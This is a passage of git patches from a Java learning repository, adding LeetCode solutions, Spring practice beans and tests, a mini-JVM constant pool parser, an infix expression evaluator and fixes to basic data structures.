+	    private boolean isEnd;
+
+	    public TrieNode() {
+	        links = new TrieNode[R];
+	    }
+
+	    public boolean containsKey(char ch) {
+	        return links[ch -'a'] != null;
+	    }
+	    public TrieNode get(char ch) {
+	        return links[ch -'a'];
+	    }
+	    public void put(char ch, TrieNode node) {
+	        links[ch -'a'] = node;
+	    }
+	    public void setEnd() {
+	        isEnd = true;
+	    }
+	    public boolean isEnd() {
+	        return isEnd;
+	    }
+	    
+	    public int getLinks(){
+	    	return links.length;
+	    }
+	}
+
+	public class Trie {
+
+	    private TrieNode root;
+
+	    public Trie() {
+	        root = new TrieNode();
+	    }
+	    
+	 // Inserts a word into the trie.
+	    public void insert(String word) {
+	        TrieNode node = root;
+	        for (int i = 0; i < word.length(); i++) {
+	            char currentChar = word.charAt(i);
+	            if (!node.containsKey(currentChar)) {
+	                node.put(currentChar, new TrieNode());
+	            }
+	            node = node.get(currentChar);
+	        }
+	        node.setEnd();
+	    }
+
+	//assume methods insert, search, searchPrefix are implemented as it is described
+	//in  https://leetcode.com/articles/implement-trie-prefix-tree/)
+	    private String searchLongestPrefix(String word) {
+	        TrieNode node = root;
+	        StringBuilder prefix = new StringBuilder();
+	        for (int i = 0; i < word.length(); i++) {
+	            char curLetter = word.charAt(i);
+	            if (node.containsKey(curLetter) && (node.getLinks() == 1) && (!node.isEnd())) {
+	                prefix.append(curLetter);
+	                node = node.get(curLetter);
+	            }
+	            else
+	                return prefix.toString();
+
+	         }
+	         return prefix.toString();
+	    }
+	}
+	
+	public static void main(String[] args) {
+		String[] strs = {"abca", "abac", "abdca", "abcac", "abba", "abab"};
+		System.out.println(leetcodeSolution1(strs));
+		System.out.println(new LongestCommonPrefix().leetcodeSolution3(strs));
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/MedianOfTwoSortedArrays.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/MedianOfTwoSortedArrays.java
index cf3266c842..b80850e24a 100644
--- a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/MedianOfTwoSortedArrays.java
+++ b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/MedianOfTwoSortedArrays.java
@@ -1,6 +1,5 @@
 package com.coding.me.leetcode.algorithms;
 
-import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 
@@ -22,16 +21,22 @@
 public class MedianOfTwoSortedArrays {
 	
 	public double mySolution(int[] nums1, int[] nums2) {
-		if(nums1.length == 0 || nums2.length == 0){
-			return 0;
-		}
 		int[] nums = new int[nums1.length + nums2.length];
+		int mid = nums.length/2;
+		int remain = nums.length%2;
 		int i=0,j=0;
 		int a,b;
 		int k=0;
-		while(i<nums1.length && j<nums2.length){
+		while(i<nums1.length || j<nums2.length && k<mid){
+			if(i == nums1.length){
+				nums[k++] = nums2[j++];
+				continue;
+			}else if(j == nums2.length){
+				nums[k++] = nums1[i++];
+				continue;
+			}
 			a = nums1[i];
-			b=nums[j];
+			b = nums2[j];
 			if(a == b){
 				nums[k++] = a;
 				nums[k++] = a;
@@ -45,19 +50,42 @@ public double mySolution(int[] nums1, int[] nums2) {
 				j++;
 			}
 		}
-		if(i < nums.length){
-			nums[k++] = nums1[i++];
-		}else if(j < nums.length){
-			nums[k++] = nums2[j++];
-		}
-		int mid = k/2;
-		int remain = k%2;
-		if(remain == 0){
-			return mid;
+		if(remain != 0){
+			return nums[mid];
 		}
-		return (double)(nums[mid] + nums[mid+1])/2;
+		return (nums[mid] + nums[mid-1])/2.0;
     }
 	
+	public static double otherSolution(int[] nums1, int[] nums2) {
+		int len1 = nums1.length, len2 = nums2.length, sumLen = len1 + len2;
+		if (sumLen % 2 != 0) {
+
+			return findKthSmallest(nums1, len1, 0, nums2, len2, 0, sumLen / 2 + 1);
+		} else {
+			return (findKthSmallest(nums1, len1, 0, nums2, len2, 0, sumLen / 2)
+					+ findKthSmallest(nums1, len1, 0, nums2, len2, 0, sumLen / 2 + 1)) / 2.0;
+		}
+
+	}
+	
+	public static int findKthSmallest(int[] a, int m, int begin1, int[] b, int n, int begin2, int k) {
+
+		if (m > n)
+			return findKthSmallest(b, n, begin2, a, m, begin1, k);
+		if (m == 0)
+			return b[begin2 + k - 1];
+		if (k == 1)
+			return Integer.min(a[begin1], b[begin2]);
+		int partA = Integer.min(k / 2, m), partB = k - partA;
+		if (a[begin1 + partA - 1] == b[begin2 + partB - 1])
+			return a[begin1 + partA - 1];
+		else if (a[begin1 + partA - 1] > b[begin2 + partB - 1])
+			return findKthSmallest(a, m, begin1, b, n - partB, begin2 + partB, k - partB);
+		else
+			return findKthSmallest(a, m - partA, begin1 + partA, b, n, begin2, k - partA);
+
+	}
+	
 	private MedianOfTwoSortedArrays motsa;
 	
 	@Before
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/TwoSum.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/TwoSum.java
index 45e4727ec7..d91eb869fb 100644
--- a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/TwoSum.java
+++ b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/TwoSum.java
@@ -1,6 +1,9 @@
 package com.coding.me.leetcode.algorithms;
 
+import java.lang.ref.WeakReference;
+import java.util.ArrayList;
 import java.util.HashMap;
+import java.util.List;
 import java.util.Map;
 
 /**
@@ -78,4 +81,22 @@ public int[] leetCodeSolution2(int[] nums, int target) {
 	    }
 	    throw new IllegalArgumentException("No two sum solution");
 	}
+	
+	
+	public static void main(String[] args) throws InterruptedException {
+//		String s = new String("字符串在内存中");
+		List s = new ArrayList();
+		s.add(new Object());
+		WeakReference<Object> wr = new WeakReference<Object>(s.get(0));
+		
+//		Thread.sleep(500);
+		System.out.println(wr.get());
+		
+		s.remove(0);
+		System.gc();
+		
+		System.out.println(wr.get());
+//		Thread.sleep(500);
+//		System.out.println(wr.get());
+	}
 }
diff --git a/group23/1028361767/learn-spring/src/practise/chapter1/HelloService.java b/group23/1028361767/learn-spring/src/practise/chapter1/HelloService.java
new file mode 100644
index 0000000000..c6d60e339c
--- /dev/null
+++ b/group23/1028361767/learn-spring/src/practise/chapter1/HelloService.java
@@ -0,0 +1,35 @@
+package practise.chapter1;
+
+import java.util.List;
+
+public class HelloService {
+	
+	private String target;
+	
+	private List<String> targets;
+	
+	public HelloService(String target){
+		this.target = target;
+	}
+	
+	public String say(){
+		return "hello " + this.target;
+	}
+
+	public String getTarget() {
+		return target;
+	}
+
+	public void setTarget(String target) {
+		this.target = target;
+	}
+
+	public List<String> getTargets() {
+		return targets;
+	}
+
+	public void setTargets(List<String> targets) {
+		this.targets = targets;
+	}
+	
+}
diff --git a/group23/1028361767/learn-spring/src/practise/chapter1/HelloWorldService.java b/group23/1028361767/learn-spring/src/practise/chapter1/HelloWorldService.java
new file mode 100644
index 0000000000..390a7b7e68
--- /dev/null
+++ b/group23/1028361767/learn-spring/src/practise/chapter1/HelloWorldService.java
@@ -0,0 +1,9 @@
+package practise.chapter1;
+
+public class HelloWorldService {
+	
+	public String hello(){
+		System.out.println("Hello Spring!");
+		return "hello";
+	}
+}
diff --git a/group23/1028361767/learn-spring/src/test/practise/Test1.java b/group23/1028361767/learn-spring/src/test/practise/Test1.java
new file mode 100644
index 0000000000..7867ac294d
--- /dev/null
+++ b/group23/1028361767/learn-spring/src/test/practise/Test1.java
@@ -0,0 +1,39 @@
+package test.practise;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.springframework.context.ApplicationContext;
+import org.springframework.context.support.ClassPathXmlApplicationContext;
+
+import practise.chapter1.HelloService;
+import practise.chapter1.HelloWorldService;
+
+public class Test1 {
+	
+	ApplicationContext context = new ClassPathXmlApplicationContext("practise/chapter1.xml");
+	
+	@Test
+	public void testHello(){
+		HelloWorldService helloWorldService = context.getBean("helloWorldService", HelloWorldService.class);
+		Assert.assertEquals("hello", helloWorldService.hello());
+		HelloWorldService helloWorldService1 = context.getBean("helloWorldService1", HelloWorldService.class);
+		Assert.assertEquals("hello", helloWorldService1.hello());
+		HelloWorldService helloWorldService2 = context.getBean("helloWorldService2", HelloWorldService.class);
+		Assert.assertEquals("hello", helloWorldService2.hello());
+		String[] alias = context.getAliases("helloWorldService");
+		Assert.assertEquals(2, alias.length);
+		for(String alia : alias){
+			System.out.println(alia);
+		}
+	}
+	
+	@Test
+	public void testSay(){
+		HelloService helloService = context.getBean("helloService", HelloService.class);
+		Assert.assertEquals("hello spring3", helloService.say());
+		for(String target : helloService.getTargets()){
+			System.out.println(target);
+		}
+		Assert.assertEquals(3, helloService.getTargets().size());
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
index 9c9fac2839..0fab88f9cb 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -1,5 +1,58 @@
 package com.coderising.jvm.loader;
 
 public class ByteCodeIterator {
-
+	
+	private byte[] codes;
+	private int pos;
+	
+	public ByteCodeIterator(byte[] codes){
+		this.codes = codes;
+	}
+	
+	public byte[] nextU2(){ return new byte[]{codes[pos++], codes[pos++]};}
+	
+	public byte[] nextU4(){ return new byte[]{codes[pos++], codes[pos++], codes[pos++], codes[pos++]};}
+	
+	public int nextU1ToInt() {
+		return (codes[pos++] & 0xff);
+	}
+	
+	public int nextU2ToInt() {
+		return ((codes[pos++] & 0xff00) << 8) | (codes[pos++] & 0x00ff);
+	}
+	
+	public int nextU4ToInt() {
+		return ((codes[pos++] & 0xff000000) << 24) | ((codes[pos++] & 0x00ff0000) << 16)
+				| ((codes[pos++] & 0x0000ff00) << 8) | (codes[pos++] & 0x000000ff) ;
+	}
+	
+	public String nextUxToHexString(int len) {
+		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<len;i++){
+   			byte b = codes[pos++];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+	}
+	
+	public String nextUxToString(int len){
+		byte[] tmp = new byte[len];
+		for(int i=0;i<len;i++){
+			tmp[i] = codes[pos++];
+		}
+		return new String(tmp);
+	}
+	
+	public static void main(String[] args) {
+		byte a = 00;
+		byte b = 52;
+		int value = ((a & 0xff00) << 8) | (b & 0xff);
+		System.out.println(value);
+	}
+	
 }
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
index 8e29f14a0c..5099782aae 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -1,7 +1,5 @@
 package com.coderising.jvm.loader;
 
-import java.io.UnsupportedEncodingException;
-
 import com.coderising.jvm.clz.AccessFlag;
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
@@ -15,30 +13,86 @@
 import com.coderising.jvm.constant.UTF8Info;
 
 public class ClassFileParser {
-
+	
 	public ClassFile parse(byte[] codes) {
-
+		ClassFile classFile = new ClassFile();
+		ByteCodeIterator iter = new ByteCodeIterator(codes);
 		
+//		String magicNumber = iter.nextUxToHexString(4);
+		iter.nextUxToHexString(4);
 		
-
-		return null;
+		classFile.setMinorVersion(iter.nextU2ToInt());
+		classFile.setMajorVersion(iter.nextU2ToInt());
+		
+		classFile.setConstPool(parseConstantPool(iter));
+		
+		classFile.setAccessFlag(parseAccessFlag(iter));
+		
+		classFile.setClassIndex(parseClassInfex(iter));
+		return classFile;
 	}
 
 	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-
-		return null;
+		AccessFlag accessFlag = new AccessFlag(iter.nextU2ToInt());
+		return accessFlag;
 	}
 
 	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
-
-		return null;
+		ClassIndex classIndex = new ClassIndex();
+		classIndex.setThisClassIndex(iter.nextU2ToInt());
+		classIndex.setSuperClassIndex(iter.nextU2ToInt());
+		return classIndex;
 
 	}
 
 	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
-
-		return null;
+		ConstantPool pool = new ConstantPool();
+		pool.addConstantInfo(new NullConstantInfo());
+		int length = iter.nextU2ToInt();
+		int type;
+		for(int i=1;i<length;i++){
+			type = iter.nextU1ToInt();
+			switch(type){
+			case 7:
+				ClassInfo classInfo = new ClassInfo(pool);
+				classInfo.setUtf8Index(iter.nextU2ToInt());
+				pool.addConstantInfo(classInfo);
+				break;
+			case 1:
+				UTF8Info utf8Info = new UTF8Info(pool);
+				utf8Info.setLength(iter.nextU2ToInt());
+				utf8Info.setValue(iter.nextUxToString(utf8Info.getLength()));
+				pool.addConstantInfo(utf8Info);
+				break;
+			case 8:
+				StringInfo stringInfo = new StringInfo(pool);
+				stringInfo.setIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(stringInfo);
+				break;
+			case 9:
+				FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
+				fieldRefInfo.setClassInfoIndex(iter.nextU2ToInt());
+				fieldRefInfo.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(fieldRefInfo);
+				break;
+			case 10:
+				MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
+				methodRefInfo.setClassInfoIndex(iter.nextU2ToInt());
+				methodRefInfo.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(methodRefInfo);
+				break;	
+			case 12:
+				NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
+				nameAndTypeInfo.setIndex1(iter.nextU2ToInt());
+				nameAndTypeInfo.setIndex2(iter.nextU2ToInt());
+				pool.addConstantInfo(nameAndTypeInfo);
+				break;
+			default:
+				System.out.println("常量池类型" + type + "还没实现");
+				break;
+			}
+		}
+		return pool;
 	}
-
 	
 }

From fc49622cf0d18e8cfc1f8f2e4c57e0fd873edec9 Mon Sep 17 00:00:00 2001
From: myThinkPad <1252327158@qq.com>
Date: Mon, 10 Apr 2017 10:41:38 +0800
Subject: [PATCH 065/262] update

---
 .../download/com/coderising/download/FileDownloaderTest.java    | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/group27/1252327158/task3_20170326/download/com/coderising/download/FileDownloaderTest.java b/group27/1252327158/task3_20170326/download/com/coderising/download/FileDownloaderTest.java
index 865d65510d..8d9b15f690 100644
--- a/group27/1252327158/task3_20170326/download/com/coderising/download/FileDownloaderTest.java
+++ b/group27/1252327158/task3_20170326/download/com/coderising/download/FileDownloaderTest.java
@@ -21,7 +21,7 @@ public void tearDown() throws Exception {
 	@Test
 	public void testDownload() {
 		
-		String url = "https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1489721424&di=1fda6467501ab1d5e5bff43e801d14ee&imgtype=jpg&er=1&src=http%3A%2F%2Fimg4.duitang.com%2Fuploads%2Fitem%2F201507%2F30%2F20150730163204_A24MX.thumb.700_0.jpeg";
+		String url = "http://read.pudn.com/downloads161/ebook/730477/driver%20book/Windows文件系统过滤驱动开发教程(第二版).pdf";
 		
 		FileDownloader downloader = new FileDownloader(url);
 

From 5312870d0d35d12b09e5b19e17b725275782f84f Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Mon, 10 Apr 2017 12:46:54 +0800
Subject: [PATCH 066/262] InfixExpr Done

InfixExpr Done
---
 .../src/com/coding/basic/Stack.java           |  37 -------
 .../coding/basic/stack/expr/InfixExpr.java    | 101 ++++++++++++++++++
 .../basic/stack/expr/InfixExprTest.java       |  48 +++++++++
 3 files changed, 149 insertions(+), 37 deletions(-)
 delete mode 100644 group23/1028361767/data-structure/src/com/coding/basic/Stack.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java

diff --git a/group23/1028361767/data-structure/src/com/coding/basic/Stack.java b/group23/1028361767/data-structure/src/com/coding/basic/Stack.java
deleted file mode 100644
index a98f5d76a5..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/Stack.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.coding.basic;
-
-import java.util.EmptyStackException;
-
-import com.coding.basic.array.ArrayList;
-
-public class Stack {
-    private ArrayList elementData = new ArrayList();
-
-    public void push(Object o) {
-        elementData.add(o);
-    }
-
-    public Object pop() {
-        checkBound();
-        return elementData.get(size() - 1);
-    }
-
-    public Object peek() {
-        checkBound();
-        return elementData.remove(size() - 1);
-    }
-
-    public boolean isEmpty() {
-        return size() == 0;
-    }
-
-    public int size() {
-        return elementData.size();
-    }
-
-    private void checkBound() {
-        if (isEmpty()) {
-            throw new EmptyStackException();
-        }
-    }
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..5b91a03a95
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,101 @@
+package com.coding.basic.stack.expr;
+
+import com.coding.basic.stack.Stack;
+
+public class InfixExpr {
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		if(expr == null || "".equals(expr)){
+			return 0;
+		}
+		Stack numStack = new Stack();
+		Stack opStack = new Stack();
+		String[] ss = expr.split("");
+		boolean needOper = false;// 需要运算，遇到* / 后置为true
+		boolean foundOper = true;// 遇到运算符
+		String ops = "+-*/";
+		for (int i=0;i<ss.length;i++) {
+			String s = ss[i];
+			if(ops.indexOf(s) != -1){
+				if(needOper){
+					doMulOrDivOp(numStack, (String)opStack.pop());
+					needOper = false;
+				}
+				opStack.push(s);
+				foundOper = true;
+				if("+-".indexOf(s) != -1){
+					
+				}else{
+					needOper = true;
+				}
+			}else if(!foundOper){// 未找到运算符前，字符串一直追加
+				String tmp = "";
+				Object obj = numStack.pop();
+				if(obj != null){
+					tmp = (String)obj;
+				}
+				numStack.push(tmp + s);
+			}else if("1234567890".indexOf(s) != -1){
+				numStack.push(s);
+				foundOper = false;
+			}else{
+				throw new RuntimeException("InfixExpr not support " + s + " !");
+			}
+			if((i == ss.length - 1) && needOper){
+				doMulOrDivOp(numStack, (String)opStack.pop());
+			}
+		}
+		if(numStack.size() > 1){
+			doAddOrSubOps(numStack, opStack);
+		}
+		return new Float((String)numStack.pop());
+	}
+	
+	/**
+	 * 多个加减
+	 * @param numStack
+	 * @param opStack
+	 */
+	private void doAddOrSubOps(Stack numStack, Stack opStack) {
+		Stack calStack = new Stack();
+		while(numStack.size() > 1){
+			calStack.push(numStack.pop());
+			calStack.push(opStack.pop());
+		}
+		float num1 = new Float((String)numStack.pop());
+		float num2;
+		while(calStack.size() > 0){
+			String op = (String)calStack.pop();
+			num2 = new Float((String)calStack.pop());
+			if("+".equals(op)){
+				num1 += num2;
+			}else{
+				num1 -= num2;
+			}
+		}
+		numStack.push(num1 + "");
+	}
+
+	/**
+	 * 单个乘除
+	 * @param numStack
+	 * @param op
+	 */
+	private void doMulOrDivOp(Stack numStack, String op){
+		float num2 = new Float((String)numStack.pop());
+		float num1 = new Float((String)numStack.pop());
+		String result = null;
+		if("*".equals(op)){
+			result = (num1 * num2) + "";
+		}else{
+			result = (num1 / num2) + "";
+		}
+		numStack.push(result);
+	}
+	
+}
\ No newline at end of file
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..1d679bdb32
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,48 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
\ No newline at end of file

From 333ab1743ae41ac136cd1cc6ac5b947f18c82646 Mon Sep 17 00:00:00 2001
From: xiaobo <begin161109@163.com>
Date: Mon, 10 Apr 2017 22:47:53 +0800
Subject: [PATCH 067/262] StackAndJvm

StackUtil and Parse JVM constant
---
 .../jvm/loader/ByteCodeIterator.java          |  29 +++++
 .../jvm/loader/ClassFileParser.java           |  96 ++++++++++++---
 .../com/coding/basic/linklist/LinkedList.java |   4 +-
 .../Study/src/com/first/ArrayList.java        |  10 +-
 .../Study/src/com/first/LinkedList.java       |  54 ++++++---
 .../349184132/Study/src/com/first/Queue.java  |   2 +-
 .../349184132/Study/src/com/first/Stack.java  |   4 +-
 .../Study/src/com/first/StackUtil.java        | 110 ++++++++++++++++++
 .../src/com/first/test/StackUtilTest.java     |  90 ++++++++++++++
 .../Study/src/com/linked/LinkedList.java      |   4 +-
 10 files changed, 362 insertions(+), 41 deletions(-)
 create mode 100644 group04/349184132/Study/src/com/first/StackUtil.java
 create mode 100644 group04/349184132/Study/src/com/first/test/StackUtilTest.java

diff --git a/group04/349184132/Study/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group04/349184132/Study/src/com/coderising/jvm/loader/ByteCodeIterator.java
index 9c9fac2839..a91c3f49b3 100644
--- a/group04/349184132/Study/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group04/349184132/Study/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -1,5 +1,34 @@
 package com.coderising.jvm.loader;
 
+import com.coderising.jvm.util.Util;
+
+import java.util.Arrays;
+
 public class ByteCodeIterator {
+    private byte[] codes;
+    private int pos = 0;
+    public ByteCodeIterator(byte[] codes) {
+        this.codes = codes;
+    }
+
+    public String nextU4ToHexString() {
+        return Util.byteToHexString(new byte[] {codes[pos++],codes[pos++],codes[pos++],codes[pos++]});
+    }
+
+    public int nextU2ToInt() {
+        return Util.byteToInt(new byte[]{ codes[pos++] ,codes[pos++]});
+    }
+
+    public int nextU1ToInt() {
+        return Util.byteToInt(new byte[] { codes[pos++]});
+    }
 
+    public byte[] getByte(int len) {
+        if(len + pos >= codes.length){
+            throw new IndexOutOfBoundsException();
+        }
+        byte[] data = Arrays.copyOfRange(codes,pos,pos+len);
+        pos += len;
+        return data;
+    }
 }
diff --git a/group04/349184132/Study/src/com/coderising/jvm/loader/ClassFileParser.java b/group04/349184132/Study/src/com/coderising/jvm/loader/ClassFileParser.java
index 8e29f14a0c..31fc69f828 100644
--- a/group04/349184132/Study/src/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group04/349184132/Study/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -1,27 +1,43 @@
 package com.coderising.jvm.loader;
 
-import java.io.UnsupportedEncodingException;
-
 import com.coderising.jvm.clz.AccessFlag;
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.NullConstantInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.constant.*;
+
+import java.io.UnsupportedEncodingException;
 
 public class ClassFileParser {
 
 	public ClassFile parse(byte[] codes) {
 
-		
+		ClassFile clzFile = new ClassFile();
+
+		ByteCodeIterator iter = new ByteCodeIterator(codes);
+
+		String magicNumber = iter.nextU4ToHexString();
+
+		if(!"cafebabe".equals(magicNumber)){
+			return null;
+		}
+
+		clzFile.setMinorVersion(iter.nextU2ToInt());
+
+		clzFile.setMajorVersion(iter.nextU2ToInt());
+
+		ConstantPool pool = parseConstantPool(iter);
+		clzFile.setConstPool(pool);
+
+		AccessFlag flag = parseAccessFlag(iter);
+		clzFile.setAccessFlag(flag);
+
+		ClassIndex index = parseClassInfex(iter);
+
+		clzFile.setClassIndex(index);
+
 		
 
-		return null;
+		return clzFile;
 	}
 
 	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
@@ -36,8 +52,62 @@ private ClassIndex parseClassInfex(ByteCodeIterator iter) {
 	}
 
 	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		int constPoolCount = iter.nextU2ToInt();
+		System.out.println("Constant Pool Size : " + constPoolCount);
+		ConstantPool pool = new ConstantPool();
+		pool.addConstantInfo(new NullConstantInfo());
 
-		return null;
+		for(int i=1;i<constPoolCount;i++){
+			int tag = iter.nextU1ToInt();
+
+			if(tag==7){
+				//Class Info
+				int utf8Index = iter.nextU2ToInt();
+				ClassInfo clzInfo = new ClassInfo(pool);
+				clzInfo.setUtf8Index(utf8Index);
+				pool.addConstantInfo(clzInfo);
+			}else if(tag==1){
+				//UTF-8 Info
+				int len = iter.nextU2ToInt();
+				byte[] data = iter.getByte(len);
+				String value = null;
+
+				try {
+					value = new String(data,"UTF-8");
+
+				} catch (UnsupportedEncodingException e) {
+					e.printStackTrace();
+				}
+
+				UTF8Info utf8Info = new UTF8Info(pool);
+				utf8Info.setLength(len);
+				utf8Info.setValue(value);
+				pool.addConstantInfo(utf8Info);
+			}else if(tag==8){
+				StringInfo stringInfo = new StringInfo(pool);
+				stringInfo.setIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(stringInfo);
+			}else if(tag==9){
+				FieldRefInfo fieldInfo = new FieldRefInfo(pool);
+				fieldInfo.setClassInfoIndex(iter.nextU2ToInt());
+				fieldInfo.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(fieldInfo);
+			}else if(tag==10){
+				MethodRefInfo method = new MethodRefInfo(pool);
+				method.setClassInfoIndex(iter.nextU2ToInt());
+				method.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(method);
+			}else if(tag==12){
+				NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
+				nameAndTypeInfo.setIndex1(iter.nextU2ToInt());
+				nameAndTypeInfo.setIndex2(iter.nextU2ToInt());
+				pool.addConstantInfo(nameAndTypeInfo);
+			}else{
+				throw new RuntimeException("the constant pool tag " + tag + "has not been implement");
+			}
+		}
+
+		return pool;
 	}
 
 	
diff --git a/group04/349184132/Study/src/com/coding/basic/linklist/LinkedList.java b/group04/349184132/Study/src/com/coding/basic/linklist/LinkedList.java
index 4cf6aa7635..3560d53c7e 100644
--- a/group04/349184132/Study/src/com/coding/basic/linklist/LinkedList.java
+++ b/group04/349184132/Study/src/com/coding/basic/linklist/LinkedList.java
@@ -130,14 +130,14 @@ public void addLast(Object o) {
         last = node;
         size++;
     }
-
+    // not help GC
     public Object removeFirst() {
         Node oldFirst = first;
         first = first.next;
         size--;
         return oldFirst.data;
     }
-
+    // not help GC
     public Object removeLast() {
         Node oldLast = last;
         last = last.pre;
diff --git a/group04/349184132/Study/src/com/first/ArrayList.java b/group04/349184132/Study/src/com/first/ArrayList.java
index 721bf41ad0..a836d89a6b 100644
--- a/group04/349184132/Study/src/com/first/ArrayList.java
+++ b/group04/349184132/Study/src/com/first/ArrayList.java
@@ -18,12 +18,12 @@ public ArrayList(int capacity){
 	}
 	
 	public void add(Object o){
-		if(size==elementData.length)
-			ResizeCapacity();
+		if(size+1 == elementData.length)
+			resizeCapacity();
 		elementData[size++] = o;
 	}
 	
-	private void ResizeCapacity(){
+	private void resizeCapacity(){
 		Object[] newDatas = new Object[size*2+1];
 		System.arraycopy(elementData,0,newDatas,0,size);
 		elementData = newDatas;
@@ -37,6 +37,8 @@ private void rangeCheck(int index){
 	public void add(int index, Object o){
 		rangeCheck(index);
 		//bug size++;
+
+
 		System.arraycopy(elementData,index,elementData,index+1,size-index);
 		elementData[index] = o;
 		size++;
@@ -52,7 +54,7 @@ public Object remove(int index){
 		rangeCheck(index);
 		Object oldElement = elementData[index];
 		System.arraycopy(elementData,index+1,elementData,index,size-index-1);
-		size--;
+		elementData[--size]= null;
 		return oldElement;
 	}
 	
diff --git a/group04/349184132/Study/src/com/first/LinkedList.java b/group04/349184132/Study/src/com/first/LinkedList.java
index cf9d274943..4abca8addd 100644
--- a/group04/349184132/Study/src/com/first/LinkedList.java
+++ b/group04/349184132/Study/src/com/first/LinkedList.java
@@ -99,38 +99,56 @@ public void addFirst(Object o) {
 	}
 
 	public void addLast(Object o) {
-		Node node = head;
-		while (node != null) {
-			node = node.next;
-			if (node == null) {
-				Node lastnode = new Node(o, null);
-				node = lastnode;
+		if(head==null){
+			addFirst(o);
+		}else {
